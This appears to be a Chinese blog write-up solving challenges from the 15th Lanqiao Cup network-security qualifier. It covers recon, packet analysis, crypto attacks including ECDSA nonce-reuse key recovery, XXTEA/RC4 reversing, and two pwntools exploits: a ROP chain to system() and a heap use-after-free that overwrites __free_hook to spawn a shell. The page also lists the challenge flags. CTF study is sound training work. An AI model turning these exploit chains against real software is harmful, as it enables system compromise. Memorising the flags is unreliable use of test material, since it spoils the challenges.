第十五届蓝桥杯软件赛-网络安全赛项选拔赛WP

第十五届蓝桥杯软件赛-网络安全赛项选拔赛WP

后续还会持续更新各大网络安全赛事的wp,感兴趣的师傅可以关注

情报收集

爬虫协议

访问robots.txt
在这里插入图片描述
访问文件夹找到flag{c9cccac3-c1fb-4158-9354-b8596b107b15}
在这里插入图片描述

数据分析

Packet

打开wireshark分析流量包找到flag
在这里插入图片描述
``发现是base64加密`

ZmxhZ3s3ZDZmMTdhNC0yYjBhLTQ2N2QtOGE0Mi02Njc1MDM2OGMyNDl9Cg==

解密得到flag
在这里插入图片描述

缺失的数据

先解压出orign.zip里面的字典,然后使用工具把orign.zip的密码爆破出来进行解压,解压得到密码pavilion得到a.png
在这里插入图片描述
在这里插入图片描述
脚本如下:

import cv2 
import numpy as np
import pywt

class WaterMarkDWT:
    def __init__(self, origin: str, watermark: str, key: int, weight: list):
        self.key = key
        self.img = cv2.imread(origin)
        self.mark = cv2.imread(watermark)
        self.coef = weight
 

    def arnold(self, img):
        r, c = img.shape
        p = np.zeros((r, c), np.uint8)
 
        a, b = 1, 1
        for k in range(self.key):
            for i in range(r):
                for j in range(c):  
                    x = (i + b * j) % r
                    y = (a * i + (a * b + 1) * j) % c
                    p[x, y] = img[i, j]
        return p
 
    def deArnold(self, img):
        r, c = img.shape
        p = np.zeros((r, c), np.uint8)
 
        a, b = 1, 1
        for k in range(self.key):
            for i in range(r):
                for j in range(c): 
                    x = ((a * b + 1) * i - b * j) % r
                    y = (-a * i + j) % c
                    p[x, y] = img[i, j]
        return p
 

 
    def get(self, size: tuple = (1200, 1200), flag: int = None):
        img = cv2.resize(self.img, size)
 
        img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
        img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)
 
        c = pywt.wavedec2(img2, 'db2', level=3)
        [cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = c
 
        d = pywt.wavedec2(img1, 'db2', level=3)
        [dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = d
 
        a1, a2, a3, a4 = self.coef
 
        ca1 = (cl - dl) * a1
        ch1 = (cH3 - dH3) * a2
        cv1 = (cV3 - dV3) * a3
        cd1 = (cD3 - dD3) * a4
 
        waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2')
        waterImg = np.array(waterImg, np.uint8)
 
        waterImg = self.deArnold(waterImg)
 
        kernel = np.ones((3, 3), np.uint8)
        if flag == 0:
            waterImg = cv2.erode(waterImg, kernel)
        elif flag == 1:
            waterImg = cv2.dilate(waterImg, kernel)
 
        cv2.imwrite('1.png', waterImg)
        return waterImg


if __name__ == '__main__':
    img = 'a.png'
    waterImg='newImg.png'
    k = 20
    xs = [0.2, 0.2, 0.5, 0.4]
    W1 = WaterMarkDWT(img, waterImg, k, xs)
    output = W1.get()

得到falg
在这里插入图片描述

密码破解

CC

使用cyber的AES解密模式根据题目html文件的key和iv以及编码格式解密即可
在这里插入图片描述

Theorem

这里的p和q是很接近的也许是CRT吧,所以用几何平均值遍历周围的值即可。这种情况是可以直接使用yafu进行分解的
在这里插入图片描述
分解之后就是正常的RSA解密流程了

from Crypto.Util.number import *
p = 9725277820345294029015692786209306694836079927617586357442724339468673996231042839233529246844794558371350733017150605931603344334330882328076640690156923
q = 9725277820345294029015692786209306694836079927617586357442724339468673996231042839233529246844794558371350733017150605931603344334330882328076640690156717
n = 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791
d1 = 4218387668018915625720266396593862419917073471510522718205354605765842130260156168132376152403329034145938741283222306099114824746204800218811277063324566
d2 = 9600627113582853774131075212313403348273644858279673841760714353580493485117716382652419880115319186763984899736188607228846934836782353387850747253170850
c = 36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829
d = (d1*q*inverse(q, p)+d2*p*inverse(p, q)) % n
print(long_to_bytes(pow(c, d, n)))

在这里插入图片描述
flag{5f00e1b9-2933-42ad-b4e1-069f6aa98e9a}

signature

曲线SECP256k1的参数已知,有两个msg
在这里插入图片描述


import ecdsa
import gmpy2
from hashlib import *
from Crypto.Util.number import *
order = ecdsa.SECP256k1.generator.order()
p = 115792089237316195423570985008687907852837564279074904382605163141518161494337
r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788
s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254

m1 = b"Hi."
m2 = b"hello."
h1 = bytes_to_long(sha1(m1).digest())
h2 = bytes_to_long(sha1(m2).digest())
k = gmpy2.invert((s1-s2), p)*(h1-h2) % p

inv_r = gmpy2.invert(r1, p)
d = ((k * s1) - h1)*inv_r % p
flag = "flag{" + str(d) + "}"
print(flag)
# flag{40355055231406097504270940121798355439363616832290875140843417522164091270174}

逆向分析

欢乐时光

flag被使用了算法分成若干个小块,每个块使用相同的加密解密方法,但是这个算法是对称加密,请将分析密文并还原。
在这里插入图片描述
进入Cry函数,稍微魔改了一点点的 XXTEA,轮数的计算部分被修改为 415 / a2 + 114
在这里插入图片描述
脚本如下:


#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
#include <iostream>
using namespace std;

void btea(uint32_t *v, int n, uint32_t const key[4]) {
  uint32_t y, z, sum;
  unsigned p, rounds, e;
  if (n > 1) {          /* Coding Part */
    rounds = 114 + 415 / n;
    sum = 0;
    z = v[n - 1];
    do {
      sum -= DELTA;
      e = (sum >> 2) & 3;
      for (p = 0; p < n - 1; p++) {
        y = v[p + 1];
        z = v[p] += MX;
      }
      y = v[0];
      z = v[n - 1] += MX;
    } while (--rounds);
  } else if (n < -1) {  /* Decoding Part */
    n = -n;
    rounds = 114 + 415 / n;
    sum = rounds * DELTA;
    y = v[0];
    do {
      e = (sum >> 2) & 3;
      for (p = n - 1; p > 0; p--) {
        z = v[p - 1];
        y = v[p] -= MX;
      }
      z = v[n - 1];
      y = v[0] -= MX;
      sum -= DELTA;
    } while (--rounds);
  }
}

int main() {
  uint32_t key[4] = {2036950869, 1731489644, 1763906097, 1600602673};
  uint32_t v[] = { 1208664588, 0xCE9037F2, 0x8C212018, 244490637, 0xA4035274, 611560113, 0xA9EFDB58, 0xA52CC5C8, 0xE432CB51, 0xD04E9223, 1875931283 };
  btea(v, -11, key);
  printf("%s", (char *)v);
}

flag{efccf8f0-0c97-12ec-82e0-0c9d9242e335}

rc4

RC4是一种流加密算法,密钥长度可变,它加解密使用相同的密钥,因此也属于对称加密算法。
在这里插入图片描述
IDA Pro打开,main函数伪代码如上图所示
跟进 sub_401005 可以得到 RC4 加密函数
在这里插入图片描述
发现并没有被魔改是标准的RC4,因为是对称加密加解密使用相同的密钥,直接用工具 RC4 解密
在这里插入图片描述
main函数中已经定义了密文数组v5和密钥字符串
Str将密文数组逐个导出或者Debug后导出值即可。
在这里插入图片描述

漏洞挖掘

fd

小蓝同学学习了栈溢出的知识后,又了解到linux系统中文件描述符(File Descriptor)是一个非常重要的概念,它是一个非负整数,用于标识一个特定的文件或其他输入输出资源,如套接字和管道。
没开PIE和canaryIDA静态分析buf很明显的栈溢出check函数,看了一下没有过滤$0,close(1)可以用重定向fd完成
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


from pwn import *
# p=remote('45.32.110.230',20549)
FILENAME='./pwn'
p=process(FILENAME)
elf=ELF(FILENAME)

backdoor=0x400CC5# 4197573

rdi_ret=0x0000000000400933
ret=0x00000000004005ae
system_plt=0x0000000004005D0
info=0x601090
p.sendline(b'$0\x00')

payload=b'a'*(0x20+0x8)+p64(ret)+p64(rdi_ret)+p64(info)+p64(system_plt)
p.sendline(payload)

p.sendline(b'exec 1>&2')
p.sendline(b'cat flag')
p.interactive()

输入exec1>&2或者exec1>&0#完成重定向 即可回显。

ezheap

小蓝同学第二次尝试使用C语言编写程序时,由于缺乏良好的安全开发经验和习惯,导致了未初始化的指针漏洞(Use After Free,UAF漏洞)。在他的程序中,他没有正确释放动态分配的内存空间,并且在之后继续使用了已经释放的指针,造成了悬空指针的问题。这种错误会导致程序在运行时出现未定义的行为,可能被恶意利用来执行恶意代码,破坏数据或者系统安全性。你能找到该漏洞并利用成功吗?
create函数,free函数没漏洞,show函数正常
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现uaf漏洞,但是只能使用一次
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
利用uaf来完成堆重叠可以,然后先泄露堆地址再泄露libc地址因为没有\x00截断,释放之后有堆地址残留,申请出来就能得到堆地址
在这里插入图片描述
就是这个接收有点问题,需要处理一下,造成堆块double free之后
在这里插入图片描述
把tcahce中的全申请完,然后再申请,这个时候被改的fd指向,然后会掉入tache中
在这里插入图片描述
在这里插入图片描述


from pwn import *
# p=remote('45.32.110.230',20549)
FILENAME='./pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
libc=ELF('./libc.so.6')


def create(Content=b'a\n'):
    p.recvuntil(b'4.exit',timeout=1)
    p.sendline(b'1')
    p.send(Content)
def free(id):
    p.recvuntil(b'4.exit',timeout=1)
    p.sendline(b'2')
    p.sendline(bytes(str(id),'utf-8'))
def show(id):
    p.recvuntil(b'4.exit',timeout=1)
    p.sendline(b'3')
    p.sendline(bytes(str(id),'utf-8'))
def uaf(id):
    p.recvuntil(b'4.exit',timeout=1)
    p.sendline(b'2106373')
    p.sendline(bytes(str(id),'utf-8'))

payload=b'\x00'*0x18+p64(0x61)
for i in range(14):
    create(payload)#0-13
for i in range(7,0,-1):
    free(i)
uaf(0)
create(b'A')#1
free(0)
show(1)

p.recvuntil(b'A')
heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
heapbase=(heap_add<<8)-0x300
success('heapbase '+hex(heapbase))

payload=p64(heapbase+0x2c0-0x10)+b'\n'
create(payload)#0,double

for i in range(6):  # x /20gx 0x555555558060
    create()#2-7
create()#14,0
payload=b'\x00'*0x38+p64(0x60*12+1)
create(payload)#15
free(1)
create(b'A')#1
show(1)

libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=libc_add-0x1ecf41
success('libcbase '+hex(libcbase))

free(10)
free(1)
create(p64(0)*3+p64(0x61))
free(1)
free(15)

free_hook=libcbase+libc.symbols['__free_hook']
system_add=libcbase+libc.symbols['system']
payload=b'\x00'*0x38+p64(0x61)+p64(free_hook)
create(payload)#1,over
create(b'/bin/sh\x00\n')#10
create(p64(system_add)+b'\n')
free(10)
# gdb.attach(p)
p.sendline(b'cat flag')
p.interactive()

此文章借鉴与鱼影安全公众号

  • 6
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

别当橙留香

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值